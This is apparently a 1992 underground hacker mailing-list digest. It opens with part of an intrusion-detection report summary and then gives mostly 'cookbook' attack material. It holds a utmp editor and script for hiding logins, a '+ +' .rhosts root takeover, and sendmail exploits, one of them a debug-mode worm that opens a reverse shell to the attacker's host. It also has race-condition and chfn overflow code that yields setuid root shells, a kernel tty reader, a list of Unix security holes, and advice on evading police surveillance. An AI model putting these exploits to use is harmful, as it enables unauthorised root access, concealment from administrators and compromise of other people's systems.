intrusion detection systems into a single prototype system. - Study the uses of neural networks and how they might be employed in audit analysis tools. - Develop the initial design for a proof-of- concept prototype to include a statistical tool (to develop user profiles), an expert system tool (to analyze the data based on predefined and consistent rules), and a neural network tool. - Determine the typical level of security expertise and perceived needs of a security manager who will use these auditing tools. - Test the prototype tool kit using real/live penetration techniques and data. (2) Long Term Recommendation. The main long term recommendation of TIS report #348 is that studies of the issues surrounding intrusion detection technology be conducted. These issues include: - Risk Management - Advanced Tools - Network Monitoring - Distributed Processing (of Audit Data) - Statistical Analysis - Detection Sensitivity Analysis - Collusion Among Computer Users - Distributed Network Attacks - Intrusion Response (Counterattack) - Computer User Responses to Intrusion Detection - Recognition (to Reduce False Positive Identifications) 5. TIS REPORT CONCLUSION. TIS report #348 concludes that there has been much good scientific study done on intrusion detection technologies, but insufficient time has been spent: - Analyzing precise user needs, - Determining the most appropriate technologies to use in specific situations, and - Cooperatively sharing the lessons learned from actual intrusions. VICTOR H. MARSHALL Systems Assurance Team Leader Booz, Allen & Hamilton Inc. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Thu, 13 Feb 92 10:42:04 -0700 Subject: utmp_ed.c ============================================================================== Section Name chapter.sec.version 00/00/00 utmp_ed.c toolbox.01.01 02/13/92 ------------------------------------------------------------------------------ DATA: /* UTMP EDITOR. ROOT ONLY EXECUTABLE.. [for hackers.. :) ] made in Korea Ignor warnings... By kod's friend.. 'X' */ #include #include #include main() int fd, i = 0; char buff[100], tmp[100]; struct utmp *ttt; ttt = (struct utmp *)buff; if ((fd = open("/etc/utmp",O_RDWR)) == 0) exit(1); printf("File /etc/utmp opened.\n"); while (read(fd, buff, sizeof(struct utmp)) == sizeof(struct utmp)) { printf("[%d] %s %s %s %s", i++, &(ttt->ut_line), &(ttt->ut_name) , &(ttt->ut_host), ctime(&(ttt->ut_time))); } printf("what entry do you want to edit? = "); scanf("%d", &i); lseek(fd, (long)(i * sizeof(struct utmp)), 0); read(fd, buff, sizeof(struct utmp)); printf("%s -> ", &(ttt->ut_line)); strcpy(&(ttt->ut_line)," "); scanf("%s", &(ttt->ut_line)); printf("%s -> ", &(ttt->ut_name)); strcpy(&(ttt->ut_name)," "); scanf("%s", &(ttt->ut_name)); printf("%s -> ", &(ttt->ut_host)); strcpy(&(ttt->ut_host)," "); scanf("%s", tmp); if (!strcmp(tmp,"null")) tmp[0] = 0; strcpy(&(ttt->ut_host), tmp); lseek(fd, (long)(i * sizeof(struct utmp)), 0); write(fd, buff, sizeof(struct utmp)); close(fd); printf("Thank you.\n"); ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== Date: Sat, 15 Feb 92 10:35:43 -0700 Subject: rhosts.hole ============================================================================== rhosts.hole 06.01.00 02/15/92 ------------------------------------------------------------------------------ DATA: % ls -l .rhosts .rhosts 1 -rw-rw-rw- 69 root Jun. 9, 1969 % cat >> .rhosts + + ^D % cat /.rhosts heaven.com god + + % rlogin this.host.com -l root Last login ... from ... root# rm -rf .rhosts root# cat > .rhosts heaven.com god ^D root# ------------------------------------------------------------------------------ Comments: I'm not sure, but I think one + will work too... By inserting the line '+ +' into an .rhosts file, one can gain access to the account that uses that file from any account on any system provided that: 1) the account is capable of being logged into according to /etc/ttytab 2) if the account is root, some systems may require a password for all root logins. If you put the '+ +' line in yourself, be sure to remove it when you're done. One way to do this is to copy the .rhosts file to /tmp and then copy it back. Q's: What does this do for hosts.equiv? Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------ Date: Sat, 15 Feb 92 10:37:16 -0700 Subject: unwho.pl (revision) ============================================================================== unwho.pl toolbox.01.01 02/15/92 ------------------------------------------------------------------------------ DATA: #!/usr/local/bin/perl # This assumes your /etc/utmp file looks like ours $unname = shift; open(UTMP,'+ NOTE: you may have to edit the first line to match the path to perl. Conceivably, you can use this script to remove yourself from utmp so that you're invisible to programs which read /etc/utmp (like w, who, users). NOTE: ps doesn't use /etc/utmp, it uses vmunix, so your processes will still show up to other users. Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ------------------------------------- To join this group or have your thoughts in the next issue, please send electronic mail to Tangent at the following address; infohax The views expressed in InfoHax Digest are those of the individual authors only. ********************* End of InfoHax Digest ********************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- *** *** *** unCERTain DIGEST #3 *** *** 2/23/92 *** *** *** -=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Well folks, we kicked all those phuckin lamers off the list and recruited some REAL TALLENT! Our current roster is: Gail T. Dan Farmer G Gordon Liddy Bob Morris Matt Bishop David A Curry Brad Powell Niel Gorsuch Ed DeHart Eugene Spafford Brian Kernighan Ellie Dee Dennis Ritchie Ken Thompson WELCOME! ------------------------------------------------------------------------------ *** Introduction *** ------------------------------------------------------------------------------ Contributions: Several people still haven't contributed anything. I can understand that many of you are very busy and have little time to write. If you can just find 15-30 minutes to take a trick that you use or a hole that you've noticed and do a writeup about it, that'd make us very happy. After all, what's the point of having people who don't contribute remain on the mailing list? It's just an added security risk. If you don't contribute anything, you will be in danger of being removed from the list. I don't think it's too much to ask to have everyone make at least one contribution. ------------------------------------------------------------------------------ Security: This last weekend, some things happened concerning the security of Infohax. I'm not all that clear on the details, but I'll try my best to outline what happened. Someone on IRC was reported to have mentioned the Infohax project. He also claimed to have copies of the digest and said he had given them to CERT. He didn't say anything specific about the project, so it's possible that he just heard a name and is trying to scare someone. Also, a member's account was reported to have been seized with a copy of the digest in his directory. We don't know whether or not the authorities have copies of the digest or not, but we're attempting to tighten security just in case. Those who we feel haven't contributed anything to the project so far have been removed until they do make a contribution. They will be sent a notice informing them of this fact. Also, we've lost our listserv address at XXXXXXXXXXXX because of the concerns of some people there. In order to prevent anyone finding out about this project we ask the following: 1) Ideally, we ask that you keep copies of the digest offline or, if online, in an encrypted form. 2) Please don't mention the project to anyone unless they're already a member. 3) Non-contributors will be removed from the list. People who don't contribute are just dead weight and add to the possibility of security leaks. I can understand people being busy for periods of time, but please make an effort to contribute regularly. 4) The project name will change from time to time, too many mail spools are being grep'd. 5) No handles, names, or contact points will be mentioned in the digest. Only with your help can we make this work. ----------------------------------------------------------------------------- A reminder: This project is not about anything illegal, we are trying to collect and preserve group knowledge. It is NOT about applying it! What you do on your own time is your own business. No part of this project concerns the breaking of any laws or encouraging others to do so, it's about how it could be done. There we said it, considering the current 'weather', we felt we needed a CYA type statement. We are NOT a hacking group, we collect, develope and share knowledge and techniques. PERIOD! ------------------------------------------------------------------------------ Voting: Voting will be temporarily suspended until the security issues are cleared up. The list will remain at its current size until then. ------------------------------------------------------------------------------ TOC to date: ch.sec.rev ch.sec.rev 1 welcome.hax none 2 wtmp.hacker 01.12.01 2 welcome.hax2 none 2 rfc.authd.draft 01.13.00 3 intro.hax none 2 son.of.IP 01.14.00 2 hole.list hole.list.00 2 audit.tools 01.15.00 3 hole.list.2 hole.list.01 3 war.hax 01.16.00 1 sysadmin.comments 01.01.00 2 rdist.hole 06.00.00 1 frm.paper 01.02.00 2 rhosts.hole 06.01.00 1 frm.mentor.paper 01.03.00 1 unwho.pl cookbook.01.00 1 shell.tools 01.04.00 2 utmp_ed.c cookbook.01.01 1 phone.trace.evsn 01.05.00 2 unwho.pl(rev) cookbook.01.02 1 BSD.accnt.files 01.06.00 3 smforwrd.c cookbook.06.00 1 trace.fakemail.gd 01.07.00 3 smwrite.c cookbook.06.01 1 IP.tracing 01.08.00 3 smwiz.trk cookbook.06.02 1 more.IP.tracing 01.09.00 3 smdebug.c cookbook.06.03 1 rfc931 01.10.00 3 sploit.c cookbook.06.04 1 hacker.trkr.tools 01.11.00 3 at_race.c cookbook.12.00 3 chfn.sh cookbook.12.01 oops... 3 vmunix.c cookbook.13.00 --------------------------------------------------------------------------- Now to the good part! :) Index: ====== intro.hax3 the usual blerb ... FYI current 'intel' about the scene ... hole.list.2 CONTRIBUTE TO ME!, new holes, and sollutions welcome! war.hax how a hacker caught someone snooping arround his accnt smforwrd.c using sendmail to write to another users .rhosts files smwrite.c sendmail write hole like above but different smwiz.trk sendmail wiz - still works on a few systems... smdebug.c sendmail debug trick, used by the internet worm sploit.c simmilar to smforwrd.c but different at_race.c at race contition to get root chfn.c change finger info race condition to get root vmunix.c kernel/tty reader ------------------------------------------------------------------------------ ---------------------------------------------------------------------------- FYI: As a service to our members we will from time to time include current security related info about people and sites. DO NOT SEND ********ANY********* MAIL TO ANY USER AT: gmuvax2.gmu.edu ALL EMAIL SENT THERE IS BEING READ BY THE FEDS, AND I MEAN EVERYTHING THAT IS BEING SENT NOW OR WAS SENT OVER THE LAST 10 MONTHS. Ninja Master:is rummered to have gotten into a car accident, and to have died. (there are also rummers that he didn't, anyway, no one has heard from him) Feanor: has changed his handle to XXXXXXXXand is being watched by the cs dept at his school. do not send any mail to his address. Dispater:is being watched by his cs dept, do not send any mail to his address Tangent: is being watched by the sysadmins at cXXXXXXXXXXXXXXXXXXXXXXXXXX any mail should be directed to one of the other addresses or her accnt at the old listserv site. Albatross:is being watched, no safe address at this time, do not send mail to XXXXXXXXXXXXXXXXXXXXX Conflict: is being watched, no safe address at this time, do not send mail to XXXXXXXXXXXXXXXXXXXXXXX There may be some serveilence of the machine gnu.ai.mit.edu, but this is unclear at this time. >Subject: pass the word... > >there's rumoredly a person sniffing all traffic on #hack ... you may >want to have yourself and your friends hold off on serious chats at >least for now, as this person is claiming to be dumping it to the FBI >(either as its going on or in the future, it wasn't clear). > >Just so you know... > Not So Humble Babe and a few others were busted see the next phrack for info. (these people were carding and into warez ...) Alot of people have had DNR's on their lines in Cal - feds were after the TRW hackers - few busts... (credit scam) Just a reminder to stay away from cards, codez, .gov,+ .mil sites. You WILL be busted eventually if you don't. (also anything to do w/ money ...) ----------------------------------------------------------------------------- ============================================================================== hole.list.2 hole.list.01 02/23/92 ------------------------------------------------------------------------------ DATA: ========= GENERAL ========= 1. Do not allow usernames to contain any of the following characters ";~!`" (or any shell meta-charaters). This allows setuid root programs that popen to be spoofed. 2. Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx. All a user has to do to break root is to send a line such as: ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text. 3. Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited. All non-standard setuid programs should be examined. 4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can break security relatively easily. MIT's PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure. 5. The mount command should not be executeable by ordinary users. A setuid program on a mountable disk is NOT TO BE TRUSTED. 6. Systems that allow read-only mounting of foriegn disk are a security hole. Setuid programs are normally honored. This allows a person who has root access on a foriegn machine to break it on another. 7. Expreserve can be a huge hole (see the following) /dev/fb the frame buffer devices on at least suns are world readable/writeable, which is at best annoying (when someone runs something strange on you) and at worst insecure (since someone can take a snapshot of your screen via screenload or whatnot) /dev/*st*, *mt*, etc (tape devices) generally world readable/writeable, bad since others can nuke your tapes, read your backups, etc. chfn, chsh used to create a root account core will system dump a setgid core image? domain name system a sysadmin running the soa for a domain somewhere can create a bugs reverse address mapping table for one of his hosts that causes its IP address to have the domain name of a machine that my host has in its hosts.equiv file. if i'm using the usual version of 'istrusted' (I think that's the routine's name), the address lookup reveals the name of the host to be one that my host trusts, and this other sysadmin can rlogin into my machine or rsh or whatnot at will. fchown test for bad group test ftruncate can be used to change major/minor numbers on devices fingerd hard .plan links - reading unreadable files readable by user(fingerd) setuid, .plan links running as root (fingerd_test.sh) buffer overrun file mod test. test of file does not loose the setuid bit when modified ftp ftpd static passwd struct overwrite 4.2 based bug, userid not reset properly, (after logging in enter comment "user root" and you are, last seen onder SunOS 3.3?). overwrite stack somehow? hosts.equiv default + entry istrusted routine - easy to spoof by bad SOA at remote site with hacked reverse address map. lock 4.1bsd version had the password "hasta la vista" as a builtin trapdoor. (found in ultrix) lost+found, fsck lost+found should be mode 700, else others might see private files. lpd its possible to ovberwrite files with root authority with user level access locally or remotely if you have local root access lpr lpr -r access testing problem lprm trusts utmp passwd fgets use allows long entries which will be mangled into ::0:0::: entries also allows: fred:...:...:...:Fred ....Flintstone::/bin/sh => fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== war.hax 01.16.00 02/23/92 ------------------------------------------------------------------------------ DATA: :: Hacker War Stories :: NOSEY ADMINS ~~~~~~~~~~~~ Two years ago, during Operation Sundevil, I had a legitimate account called "Phrack", at the university I attended. I just called it that because, I liked the name and the magazine. I did correspond through e-mail with KL&TK, and wrote a little bit for Phrack, but it wasn't like an official Phrack mailing list. However, this raised some suspicion my many people mearly because of the address, "phrack@blah.blah.edu". At my university there was a faculty member that thought necessary to peer into my account, read my mail and other things. This is how I caught him. I told a friend, that was the administrator of the machine, I had noticed some odd things going on with my account. My password was not an english word or a name or anything else that was easily cracked by a program like Killer Cracker. What we did was we did was created another account for me to use while we monitored my "Phrack" account. I used the newly created account as I did my old one and told everyone I knew that the other account was dead. I also never accessed the "Phrack" account again. As it turns out the idiot was using root to get into my account and we quickly saw this in the ".history" file. On my machine the ".history" file was world readable and therefore I didn't have any problems seeing what he did from my new account. LESSON LEARNED ~~~~~~~~~~~~~~ I'd like to point out that I have never been "busted" by the feds or even reprimanded by my school for anything I did on their system. I abused the system for about four years with no one batting an eye. I thought that a friend of mine and myself were the only hackers on the system. I didn't feel the least bit paranoid. I felt too secure as it turns out, even though I didn't get caught doing anything I got caught up in a hacker sweep that caused a few problems for me. My crime against humanity was this; I left two passwords cracking programs in my directory that were found by the admins one day. One day the admin got scared when they noticed someone was running *TWO* password cracking programs on two different accounts. To this day, I have no idea who this person was. Anyway, they went on a hacker witch hunt and decided that they should check all accounts for any "unethical software". Needless to say I had a few things that matched that category, but I was just storing them there, and NEVER ran anything like that on my account. They could even see this in their process accounting. So, I got my account revoked because I had things in my directory that the admins thought were "potentially unethical". I have never had any direct contact with the "net police" until then. It was a real shock. I had at this time, no idea that people were interested in burying their heads in the sand about computer security. I just figured that they "just didn't know" but would probably learn if someone would teach them some things. But instead, I learned that people just prefer to get scared and hide from people that don't have a piece of paper that says they know computer science. I also learned a few other things: 1) Always be paranoid of the administrators. Never trust anyone that is an admin, unless you've known them for a really long time. (e.g.: since high school) 2) You are guilty until proven innocent. Just because you aren't doing anything wrong doesn't mean you're innocent in the eyes of someone looking to place the blame. 3) You are generally not the only hacker on a system. Just because you are using precautions when you hack to cover your ass, doesn't mean that some other idiot won't fuck things up for you! 4) Always be paranoid. Even if you have a legitimate account on a machine treat it like everybody in the world can see every move you make, because sometimes they do! Don't get lazy and say, "well I'll download that tomorrow." Tomorrow you could wake up with your account gone. 5) We live in a network police state. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smforwrd.c cookbook.06.00 02/23/92 ------------------------------------------------------------------------------ DATA: trick for sendmail 5.61 /* * 1) set the #define UID, at the top of the program to be your's * 2) create a file: /tmp/.shell, which is a script to make a suid shell * 3) compile the program and name it say, /tmp/.magic * 4) create a .forward file containing: '|/tmp/.magic' * 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever * you want a shell from (but not root :-( RATS!) * 6) wait abit, it usuallly works ... */ #define UID 777 /* change to your uid */ #include #include #include #include #include #include #define SHELLFILE "/tmp/.shell" main() int myuid, rval; if ((myuid = getuid()) == UID) rval = EX_TEMPFAIL; else { rval = EX_OK; system(SHELLFILE); } exit(rval); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smwrite.c cookbook.06.01 02/06/92 ------------------------------------------------------------------------------ DATA: Using Sendmail to write files ============================= Here is the output from a script(1) that shows how one can convince sendmail to write to another users `.rhosts'. $ telnet your.friendly.host smtp Trying 1.2.3.4 ... Connected to your.friendly.host. Escape character is '^]'. 220 your.friendly.host Sendmail 4.0 ready at Sun, 17 Sep 89 03:18:08 mail from: 250 ... Sender ok rcpt to: /etc/passwd 554 /etc/passwd... Cannot mail directly to files rcpt to: /etc/passwd 550 /etc/passwd... Addressee unknown data 354 Enter mail, end with "." on a line by itself ignore . 250 Mail accepted mail from: joeuser 554 /etc/passwd... Possible alias loop rcpt to: /usr/users/joeuser/.rhosts 250 /usr/users/joeuser/.rhosts... Recipient ok data 503 Need MAIL command mail from: joeuser 250 joeuser... Sender ok data 354 Enter mail, end with "." on a line by itself hack.edu hacker . 250 Mail accepted quit 221 your.friendly.host delivering mail Connection closed by foreign host. $ rsh your.friendly.host -l joeuser sh -i ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smwiz.trk cookbook.06.02 02/23/92 ------------------------------------------------------------------------------ DATA: WIZ === WIZ mode is even more interesting. You just telent to the host of your choice, type `wiz' followed by `SHELL' and presto, a root shell on that host. This only works on old UNIX systems, but there are certainly a few of those lying around. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== smdebug.c cookbook.06.03 02/23/92 ------------------------------------------------------------------------------ DATA: Worm ==== Here are a client and server process that use the same method that Robert T. Morris Jr. used in his Internet worm. It exploits debug mode in sendmail. #include #include #include #include #include /* * Worm Client * */ main(argc, argv) int argc; char *argv[]; { struct sockaddr_in sin; int s; char **str, c; if (fork() > 0) exit(); bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(worm_server_addr); sin.sin_port = htons(3456); s = socket(AF_INET, SOCK_STREAM, 0); if (connect(s, &sin, sizeof(sin)) < 0) { perror("no connection"); exit(1); } close(0); close(1); close(2); dup(s, 0); dup(s, 1); dup(s, 2); printf("Hello, I am worm client!\n"); fflush(stdout); system("/bin/csh"); fflush(stdout); close(s); } #include #include #include #include #include char *worm_head[] = { "debug", "mail from: ", "rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">", "data", "", "cd /usr/tmp", "rm -rf sendmail.c sendmail.o sendmail", "cat > sendmail.c << 'EOF'", 0 }; char *worm_tail[] = { "EOF", "", "cc -o sendmail sendmail.c; rm -rf sendmail.c ; ./sendmail ;rm -rf sendmail", "", ".", "quit", 0 }; main(argc, argv) int argc; char *argv[]; { struct sockaddr_in sin; int s; char **str, c; int from_worm_client; if (argc != 2) { fprintf(stderr, "%s conanical-IP-address\n", argv[0]); exit(1); } from_worm_client = worm_server_set(); bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_port = htons(25); s = socket(AF_INET, SOCK_STREAM, 0); if (connect(s, &sin, sizeof(sin)) < 0) { perror("no connection"); exit(1); } close(1); dup(s, 1); str = worm_head; while (*str) printf("%s\r\n", *str++); put_server_host_addr(); put_main_worm_body(); str = worm_tail; while (*str) printf("%s\r\n", *str++); fflush(stdout); close(s); worm_server_get(from_worm_client); } put_server_host_addr() { struct hostent *hp; char hostname[BUFSIZ]; gethostname(hostname, BUFSIZ); hp = gethostbyname(hostname); printf("char *worm_server_addr = \""); while (hp->h_length) { hp->h_length--; printf("%d", (int) (*hp->h_addr++)); if (hp->h_length) printf("."); } printf("\";\r\n"); } put_main_worm_body() { FILE *worm_client; char *c, buf[BUFSIZ]; worm_client = fopen(WORM_CLIENT_SRC, "r"); if (worm_client == NULL) { perror("no worm client src"); exit(1); } while (fgets(buf, BUFSIZ, worm_client) != NULL) { c = buf; while (*c && *c != '\n') printf("%c", *c++);(*c++); printf("\r\n"); } fclose(worm_client); } worm_server_set() { struct sockaddr_in sin; int s; char **str, c; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = INADDR_ANY; sin.sin_port = htons(3456); s = socket(AF_INET, SOCK_STREAM, 0); if (bind(s, &sin, sizeof(sin)) < 0) { perror("no bind"); exit(1); } if (listen(s, 5) == -1) { perror("no listen"); exit(1); } return s; } worm_server_get(s) int s; { char buf[BUFSIZ]; int f, fromlen; struct sockaddr_in from; int pid; fromlen = sizeof(from); f = accept(s, &from, &fromlen); if (f < 0) { perror("no accept"); exit(1); } close(1); dup(f, 1); pid = fork(); if (pid == 0) for (;;) { if ((fromlen = read(f, buf, BUFSIZ)) <= 0) exit(1); write(2, buf, fromlen); fflush(stderr); } else { for (;;) { fprintf(stderr, "ready: "); if (fgets(buf, BUFSIZ, stdin) == NULL) { puts("exit\n"); puts("logout\n"); fflush(stdout); kill(pid, 9); break; } else { puts(buf); fflush(stdout); } } } close(f); close(s); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== sploit.c cookbook.06.04 02/23/92 ------------------------------------------------------------------------------ DATA: local comprimise ================ Save the following program as "sploit.c" changing MYUID to your user id. Compile "sploit.c" producing the executable "sploit" in your home directory. Create a ".forward" file containing: \, "|/sploit" [change to your username so you dont lose mail (unless, of course, you'd rather lose mail) and set to your home directory path (where sploit lives)] Now, as another user, send yourself some mail. Note that the sploit program defers delivery the first time thru; check out "/tmp/whoami" to see that sploit ran as you. Now, run your mail queue (or open a beer and wait for sendmail to run it). After the queue run, note that the sploit accepted the letter and returned a successful exit status; check out "/tmp/whoami" again to see that this time, sploit ran as the sender! You can also use "sploit.c" to test for the root initgroups() hole by checking the group list when "sploit" was first called. #include #include #include #include #include #include #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */ #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */ #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */ main() { FILE *fp; uid_t myuid; int i, rval, ngrps, grplst[NGROUPS]; if ((myuid = getuid()) == MYUID) rval = EX_TEMPFAIL; else rval = EX_OK; if ((fp = fopen("/tmp/whoami", "a")) != NULL) { /* real user/group ids */ fprintf(fp, "%susr:%s grp:%s", (rval == EX_OK)? "": "Def> ", getuser(myuid), getgrp(getgid())); /* effective user/group ids */ fprintf(fp, " eusr:%s egrp:%s", getuser(geteuid()), getgrp(getegid())); /* group list */ if ((ngrps = getgroups(NGROUPS, grplst)) > 0) { fprintf(fp, " grps:"); for (i = 0; i < ngrps; i++) fprintf(fp, " %s", getgrp(grplst[i])); } fprintf(fp, "\n"); (void) fclose(fp); } exit(rval); } ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== at_race.c cookbook.12.00 02/23/92 ------------------------------------------------------------------------------ DATA: AT race condition ================= This will fight `at' for gaining root status. It uses a system race condition so it is in a reliable way to break into a system, but it will certainly work in time. #include #include #include #defineATSIZE512 charAtdir[] = "/usr/spool/at"; charAtformat[] = "\ # owner: root\n\ # jobname: chkfpd\n\ # shell: sh\n\ # notify by mail: no\n\ \n\ exec 2>&-\n\ /bin/echo '#! /bin/sh' > /tmp/-\n\ /bin/chmod 6711 /tmp/-\n\ exit 0\n\ \n"; char*env[] = { 0 }; intpid; main() { charatfile[ATSIZE], buf[5]; intfd; FILE*fp; structtm*tp, *getnowtime(); voidmakeatfile(), maketime(); maketime(tp = getnowtime()); (void) sprintf(buf, "%02d%02d", tp->tm_hour, tp->tm_min); switch (pid = vfork()) { case -1: perror("fork"); exit(1); case 0: (void) nice(19); (void) umask(0); (void) execle("/usr/bin/at", "at", "-s", buf, "/dev/null", (char *) 0, env); perror("at"); _exit(1); } makeatfile(atfile, tp); while ((fd = open(atfile, 1)) < 0) ; printf("OK: "); (void) fflush(stdout); (void) wait((union wait *) 0); fp = fdopen(fd, "w"); fprintf(fp, Atformat); (void) fclose(fp); printf("%s\n", buf);/* the time of the atrun */ exit(0); } /* * the following routines were stolen and adapted from at.c */ structtm*getnowtime() { structtimevaltime; structtm*localtime(); if (gettimeofday(&time, (struct timezone *) 0) < 0) { perror("gettimeofday"); exit(1); } return localtime(&time.tv_sec); } voidmaketime(tp) structtm*tp; { intmin; if ((min = tp->tm_min) < 29)/* at least 1 minute gap */ tp->tm_min = min < 14 ? 15 : 30; else if (min < 44) tp->tm_min = 45; else { tp->tm_min = 0; if (++tp->tm_hour >= 24) { tp->tm_hour = 0; if (++tp->tm_yday >= (tp->tm_year & 03 ? 365 : 366)) { tp->tm_yday = 0; ++tp->tm_year;/* no check */ } } } } voidmakeatfile(atfile, tp) char*atfile; structtm*tp; { inti; for (i = 0; ; i += 53) { (void) sprintf(atfile, "%s/%02d.%03d.%02d%02d.%02d", Atdir, tp->tm_year, tp->tm_yday, tp->tm_hour, tp->tm_min, (pid + i) % 100); /* * Make sure that the file name that we've created is unique. */ if (access(atfile, 0) == -1) return; } } ------------------------------------------------------------------------------ Comments: ================= SVR.0 to SVR3.2 ================= Several at(1)s have an extremely nasty bug. Cron(1) which run atjobs runs setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs. There it creates a file owned by the atjob submitter. On many systems /usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to chdir(2) to that directory. Many System V crons determine what uid to run the atjob by the file's owner. Breaking security can be as simple as cding to cron and change the owner of an atjob you submitted to root. Alternatively, an atjob that submits another atjob on some systems will run as root (I don't know why). Q's: Biblio: CrossRef: Code/shRef: ============================================================================== ============================================================================== chfn.sh cookbook.12.00 02/23/92 ------------------------------------------------------------------------------ DATA: chfn ==== The change finger information facility has a buffer overflow condition that can be exploited in the following manner. First is a `csh' script to insure that backups are made and everything is run in order. The second script is edited due to the number of characters required to overflow the buffer. Script One #!/bin/csh -f # date echo "" echo "grep for gretzky in /etc/passwd" grep gretzky /etc/passwd echo "" echo "Making a copy of the password file ..." cp /etc/passwd etc.passwd echo "Running the chfn in a script (sh) ..." sh chfn.test echo "" echo "... finished" echo "" echo "grep for gretzky in /etc/passwd again" grep gretzky /etc/passwd echo "" echo "NOW grep for aaa in /etc/passwd" grep aaa /etc/passwd echo "" echo " Gotcha! " echo "" date echo "" The second script #!/bin/sh # # The number of letters (a, b, ...) depends on how many fields # chfn(1) asks for. Ultrix 2.x is 4, as is BSD4.x while SunOS 3.5 is 1. # /bin/chfn < #include #include #include #include #include #include #define NDZ 1 /* DZ's and DH's have to be mapped into */ #define NDH 2 /* your own hardware */ #define NPT 2 /* number of pty controllers */ #define DZ11 1 /* major device number of the dz11 */ #define DH11 33 /* major device number of the dh11 */ #define PTY 20 /* major device number of the ptys */ #define DZ_X 8 /* eight lines per dz11 */ #define DH_X 16 /* sixteen lines per dh11 */ #define PT_X 16 /* sixteen lines per pty controller */ #undef major() /* need to do this because of kernel */ #undef minor() /* macros used to strip off device #'s */ static struct nlist nl[2]; static char *name_list[] = { "_dz_tty", /* base address of the dz tty structures*/ "_dhu11" , /* same for the dh's */ "_pt_tty", /* pseudo-ttys */ 0 }; main(argc , argv) char **argv; int argc; { /********************************/ int major; /* place to hold major # */ int minor; /* place to hold minor # */ int board_type; /* tells me which kind of tty */ int fd; /* fd for memory */ long offset; /* how far into the above tables*/ struct tty ttyb; /* place to put the tty buffer */ extern char *calloc(); /* our friend calloc */ get_args(&major , &minor , argc , argv); check_args(major , minor , &board_type , argv); 